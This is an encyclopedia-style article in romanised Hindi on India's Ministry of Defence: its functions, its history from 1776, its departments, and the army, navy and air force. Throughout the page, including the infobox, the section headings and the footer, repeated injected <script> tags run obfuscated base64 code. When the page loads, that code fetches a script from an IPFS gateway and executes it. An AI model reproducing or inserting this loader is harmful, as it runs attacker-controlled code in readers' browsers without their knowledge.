रक्षा मंत्रालय
raksha mantralay
| |
| vivaran | raksha mantralay ka pramukh kary hai raksha aur suraksha sanbandhi mamaloan par niti nirdesh banana aur unake karyanvayan ke lie unhean suraksha baloan ke mukhyalayoan, aantar sena sangathanoan, raksha utpad pratishthanoan aur anusandhan v vikas sangathanoan tak pahuanchana. |
| nyay sima | bharat sarakar |
| mukhyalay | rayasina hil, nee dilli |
| vartaman rakshamantri | manohar parrikar |
| bharatiy sashastr bal | bharatiy nausena, bharatiy vayusena, bharatiy thalasena |
| sanbandhit lekh | vitt mantralay, grih mantralay, videsh mantralay |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 20:13, 17 march 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
raksha mantralay (aangrezi: Ministry of Defence) bharat ka pramukh mantralay hai jisaka pramukh kary hai raksha aur suraksha sanbandhi mamaloan par niti nirdesh banana aur unake karyanvayan ke lie unhean suraksha baloan ke mukhyalayoan, aantar sena sangathanoan, raksha utpad pratishthanoan aur anusandhan v vikas sangathanoan tak pahuanchana. bharat ke p dosi desh vibhinn rajanitik anubhavoan, prayogoan aur paristhitiyoan ke bich parivartan ke daur se gujarate haian. bharat sarakar desh ke sima kshetr ki raksha sunishchit karane ke lie bhi jimmedar hai. bharatiy sashastr senaoan ki kaman rashtrapati ke pas hai aur desh ki raksha ki jimmedari mantrimandal ke pas hai. yah kary raksha mantralay dvara hota hai jo desh mean raksha ke sandarbh mean nitigat dhaanche aur sashastr baloan ko jimmedariyaan pradan karata hai. raksha mantri raksha mantralay ka pramukh hota hai.
aitihasik prishthabhoomi
kolakata mean eest iandiya kanpani ki sarvochch sarakar mean varsh 1776 mean ek sainy vibhag banaya gaya tha jisaka mukhy kary eest iandiya kanpani sarakar ke vibhinn vibhagoan dvara jari kie sena se sanbandhit adeshoan ki poornataya jaanch karana tatha unhean rikard karana tha. sainy vibhag ne shuroo mean lok vibhag ki ek shakha ke roop mean kam kiya aur sena karmikoan ki soochi banae rakhane ka kam kiya. 1883 ke chartar adhiniyam ke anusar eest iandiya kanpani ki sarakar ke sachivalay ko ek sainy vibhag sahit char vibhagoan mean punargathit kiya gaya tha jinamean se pratyek vibhag ka pramukh sarakar ka ek sachiv tha . bangal, bambee aur madras presideansiyoan mean sena ne aprail, 1895 tak sanbandhit presideansi ki sena ke roop mean kam kiya aur tab se unhean ek ekal bharatiy sena ke roop mean ekikrit kar diya gaya tha. prashasanik suvidha ke lie ise char kamanoan arthat panjab (uttar-pashchim phrantiyar sahit), bangal, madras (barma sahit) tatha bambee (siandh, kveta tatha adan sahit) mean vibhajit kiya gaya tha. bharatiy sena ke oopar sarvochch pradhikar samrat ke niyantran ke adhyadhin, jisaka prayog bharat ke lie sekretari aauph stet dvara kiya jata tha, garvanar janaral-in-kauansil ke pas nihit tha. parishad mean do sadasy sainy karyoan ke lie jimmevar the, jinamean se ek sainy sadasy tha, jo sabhi prashasanik tatha vittiy mamale dekhata tha jabaki doosara kamaandar-in-chiph tha jo sabhi sankriyatmak mamaloan ke lie jimmevar tha. sainy vibhag march 1906 mean samapt kar diya gaya aur ise do vibhagoan dvara pratisthapit kar diya gaya tha arthat, sena vibhag aur sainy apoorti vibhag. aprail, 1909 mean sainy apoorti vibhag samapt kar diya gaya tha aur isake karyoan ka prabhar sena vibhag ne le liya tha. sena vibhag ko janavari 1938 mean raksha vibhag ke roop mean padanamit kar diya gaya tha. agast 1947 mean raksha vibhag ek kebinet mantri ke adhin raksha mantralay ban gaya.[1]
rajanitik gatividhiyaan
21vian shatabdi ke pratham dashak mean is bat ke sakshy uttarottar badhate rahe haian ki simaean in suraksha khataroan ko rok sakane mean aksham rahi hai. bharat ka har p dosi ek sankraman ke daur se gujar raha hai, jisase vahaan rajanitik badalav ho rahe haian aur vibhinn prakar ke prayog kie ja rahe haian. atankavad aur hathiyar, drags evan anavik takanik ka vistar khatare utpann kar raha hai, jis par lagatar dhyan die jane ki zaroorat hai.
- varsh 2008 mean hue vikasoan ke chalate, visheshakar vaishvik arthik pranali ki chunautiyoan ne vaishvik paryavaran ki suraksha mean tanavoan ko utpann kiya hai.
- ugravadi aur atanki sangathanoan ke sath pakistan ke sammilan ne adhik jatilataoan aur khataroan ko utpann kiya hai, jisase hamean do char hona p d raha hai. isalie aantarik aur simaoan donoan staroan par hamare suraksha upakaranoan ki majabooti sarvochch rashtriy prathamikata hai.[[chitr:Fighter-Aircrafts.jpg|thumb|left|bharatiy vayusena ke l dakoo viman]]
- chin ke sudoor jal mean abhiyanoan ke sanchalan ke lie samudri be de aur samarik misail tatha akashiy prakshepastroan ka vistar, sath hi simavarti kshetroan mean kramik dhaanchagat vikas, gahan sarvekshan aur nigarani, chaukasi, tvarit pratikriya aur abhiyanatmak kshamataoan ki badhotari ko apane shvatepatr mean ghoshit uddeshyoan ke roop mean shamil karane ko bharat ki raksha-suraksha par nikat bhavishy mean p dane vale prabhavoan ke maddenajar, sajag jaanch-p datal ki zaroorat hai. vaise hi pakistan ke sath isaka sahayog aur isaki sainy sahayata, jisamean jammoo-kashmir rajy ke avaidh pakistani kabje vale bhoo-bhag ke jarie pakistan se sanpark badhae jane ki sanbhavana shamil hai, ka bharat par sidha sainy prabhav p dega.
- bharat ki vishvasaniy nyoonatam bhayakari/hatotsahan ki niti ka kshetriy suraksha samikaranoan mean mahattvapoorn yogadan hai. nyoonatam hatotsahan ki sthiti rakhate hue bharat ne 'pratham prayog nahian' ki niti evan gair-paramanu hathiyar vale deshoan ke lie 'prayog nahian' ki niti ki ghoshana ki hai. sath hi, bharat svaichchhik roop se anavik parikshan ke ekapakshiy vilamban/sthagan ki sthiti bhi banae rakhata hai.
- avardhit samudri suraksha ko lanbi tatarekha ki prishthabhoomi mean dekha jana chahie jo pashchim mean arab sagar, poorv mean bangal ki kha di evan dakshin mean vishal hiand mahasagar se lagi huee hai. tatiy ilakoan mean badhi arthik gatividhiyoan aur shaharoan ke vikas ne bhi suraksha zarooratoan ko badhaya hai.
- hal ke kuchh varshoan mean, jahajarani mudde jaise- samudri pathoan ki suraksha, gahare samudr mean lootapat, oorja suraksha, dablyooemadi, atankavad adi bharat ki suraksha mean mahattvapoorn tatv ban ge haian. bharatiy nausena ne hiand mahasagar ke kuchh hissoan mean samudri lootapat ke niyantran mean aham bhoomika nibhaee hai. muanbee ke atanki hamaloan ne ek bar phir bharat ki suraksha mean jahajarani ki mahatta ko vishishtata pradan ki hai.
- uttarottar vikasit ho rahi arthavyavastha ne surakshit aur shaant vishv ke nirman mean bharat ki bhoomika ko badhaya hai. vikas, sthayitv aur shati ki sthapana ke lie ek shaktishali raksha takat ka hona anivary avashyakata hai. sabhi prakar paranparik aur gairaparanparik khataroan se nipatane ke lie nyoonatam pratiraksha vikasit karane ki apani pratibaddhata bharat pahale hi jahir kar chuka hai.
- sashastr baloan ka sarvochch niyantran bharat ke rashtrapati mean nihit hota hai. halaanki, rashtriy suraksha ki jimmedari mantrimandal ke hath mean hoti hai. desh ke suraksha se sambandhit sabhi mamaloan ke liye raksha mantri sansad ke samane jimmedar hota hai. sashatr senaoan ke prashasanik aur sanchalan sambandhit niyantran raksha mantralay aur tinoan seva mukhyalayoan ke dvara kiya jata hai.
raksha mantralay ke kary
raksha mantralay ka pramukh kary hai raksha aur suraksha sanbandhi mamaloan par niti nirdesh banana aur unake karyanvayan ke lie unhean suraksha baloan ke mukhyalayoan, aantar sena sangathanoan, raksha utpad pratishthanoan aur anusandhan v vikas sangathanoan tak pahuanchana. sarakar ke niti nirdeshoan ko prabhavi dhang se tatha avantit sansadhanoan ko dhyan mean rakhakar unhean karyanvit karana bhi usaka kam hai.
raksha mantralay ke vibhag
raksha mantralay char vibhagoan ka mila jula roop hai jo nimnalikhit hai-
- 1. raksha vibhag (diodi)
raksha vibhag ekikrit raksha staph aur tinoan senaoan tatha vibhinn aantar seva sangathanoan ki jimmedariyoan ka vahan karata hai. raksha bajat, sthapana kary, raksha niti, sansad se ju de mudde, bahari deshoan ke sath raksha sahayog tatha samast kriyakalapoan ka samanvay isi vibhag ke dayitv haian.
- 2 raksha utpad vibhag (didipi)
raksha utpadan vibhag ka pramukh sachiv isaka pramukh hota hai aur yah raksha utpadan, ayatit bhandar ke svadeshikaran, upakaranoan aur atirikt kalapurjoan tatha hathiyar karakhana bord aur sarvajanik kshetr ke raksha udyamoan ki vibhagiy utpadan ikaiyoan ke niyantran sanbandhi karyoan ko nipatata hai.
- 3. raksha anusandhan evan vikas vibhag (diaradio)
raksha, shodh tatha vikas vibhag ka pramukh sachiv hota hai jo raksha mantri ka salahakar bhi hota hai. isaka kam sainik sajo-saman ke vaijnanik paksh, sanchalan tatha sena dvara istemal mean lae jane vale upakaranoan se sanbandhit shodh, dijain aur vikas ki yojanaean banana hai.
- 4. poorv sainikoan ke kalyan aur vitt prabhag
bhootapoorv sainik/rakshakarmi kalyan vibhag ka pramukh ek atirikt sachiv hota hai. isake jimme peanshanayaphta bhootapoorv sainikoan, bhootapoorv karmachari svasthy yojana, punahniyojan aur keandriy sainik bord mahanideshalay tatha tinoan raksha sevaoan ke peanshan niyamoan se ju de muddoan ka nishpadan hai.
bharatiy sashastr bal
| 150px|bharatiy nausena ka pratik |
| bharatiy nausena ka dhvaj |
| 150px|bharatiy vayusena ka pratik |
| bharatiy vayusena ka dhvaj |
| 150px|bharatiy thalasena ka dhvaj |
| bharatiy thalasena ka dhvaj |
bharatiy sena
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy thal sena sima par chaukas rahati hai, chaukanni - kisi bhi balidan ke lie taiyar, taki desh ke log shaanti v samman ke sath ji sakean. uchch takanik adharit satik hathiyaroan ko shamil kie jane se agami yuddhoan ki marak kshamata kee guna badh gee hai. paranparik khataroan se lekar anavik hamaloan tak ka khatara utpann ho gaya hai aur atankavad jaise rakshas ke uday se yah samasya aur jatil ho gee hai. jalavayu ki kathinata jaise - him khandoan ki ooanchaee evan atyadhik thand, saghan paha di jangal tatha maroobhoomi ki garmi evan umas ka bhi samana karana p data hai. lanbi avadhi ke pariprekshy mean thalasena ka akar, akriti evan bhoomika ka vyavaharik drishtikon thalasena ki adhunikikaran prakriya ko gatishil/ojasvi banata hai tatha praudyogiki prakriya ise ek bhayasah-kshamata adharit takat banane ki taraph agrasar karati hai. bharatiy thalasena ko vibhinn varnakram unmukh parivartanoan ke lie evan bhavishy ki chunautiyoan ke lie ek ‘taiyar v prasangik thalasena’ ke roop mean taiyar kiya jana hai.
bharatiy nausena
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
apani kshamata, rananitik sthiti tatha bharatiy mahasagaroan mean apani mukhar upasthiti ke karan nausena bharatiy mahasagariy kshetr mean shaanti, sthirata tatha prashaanti ki utprerak hai. isane any samudravarti deshoan se mitrata tatha sahayog qayam kiya hai. hamare p dos ke chhote mulk tatha ve desh jo apane vyapar aur oorja apoorti ke lie bharat ke mahasagaroan par nirbhar haian, unake lie nausena bharat ke samudri kshetr mean prashaanti tatha sthirata ke upay sunishchit karati hai. is kam ko poora karane ke lie bharatiy nausena apani kshamata tatha kshetriy aur kshetr ke bahar ki nausenaoan ke sath sahayog aur aantahkshamata badha rahi hai. desh ki nausainik shakti badhane ke prayas kie ja rahe haian isake lie jahajoan aur panadubbiyoan ka nirman desh mean aur bahar jor-shor se kiya ja raha hai. kochchi mean desi eyarakrapht kairiyar banane ka kam pragati par hai. videshi nau senaoan ke sath sahakarita ko badhane vali niti ko jari rakhate hue, kee sare prayog kiye gaye the. isamean milan 08, simbeks 08, indindo kopat 08, koankan 08, varun 08, ibsamar 08, habunag 08 aur malabar 08, adi shamil haian. svadesh mean nirmit aeeenes kesari bharatiy nausena mean aprail 2008 mean laya gaya tha. do pani ke jet - phast ataik krapht chetalait aur kar nikobar ko bharatiy nausena mean pharavari 2009 mean shamil kiya gaya tha.
bharatiy vayusena
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bharatiy sena badalav ke daur mean hai. yah badalav b de paimane par adhunikikaran aur ne upakaran shamil karane tak simit nahian haian balki prabhavi rozagar mean saiddhaantik badalav ka bhi hai. vayusena aj ek pidhi age hai aur isane adhunik yuddh kshamataean hasil kar li haian. is bich desh aur desh se bahar bahut se aantararashtriy abhyasoan aur mishan donoan mean sarvochch pradarshanoan se apani peshevar dhak badhana jari rakha hai. bharatiy vayu sena ne ati adhunik esayoo-30 emakeaee eyarakrapht shamil kiya hai. 20 h aauk ejeti eyarakrapht bhi shamil kie ge haian. vishesh abhiyanoan ke lie si-130 je-30 eyarakrapht prapt karane kelie ameriki sarakar ke sath nivida par hastakshar kie ge haian.
marammat ke liye zaroori upakaranoan ka svadeshikaran ek satat prakriya hai. bharatiy vayu sena ke vibhinn be doan ke lie bes ripeyar dipo (bi. ar. di.) dvara 80,000 se adhik purjoan ka svadeshikaran poora ho chuka hai. sabhi ayatit bairiyar ki jagah ediaradiee svadeshi bairiyar lane ke liye ek dirghakalik yojana taiyar ki gayi hai. ayat kiye hue arestar bairiyar ke rakharakhav aur marammat ke aujaroan ka svadeshikaran bhi jari hai. purjoan ki lagabhag 800 shrriankhalaoan ka pahale se hi svadeshikaran ho chuka hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ mantralay ke vishay mean (hindi) adhikarik vebasait. abhigaman tithi: 18 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>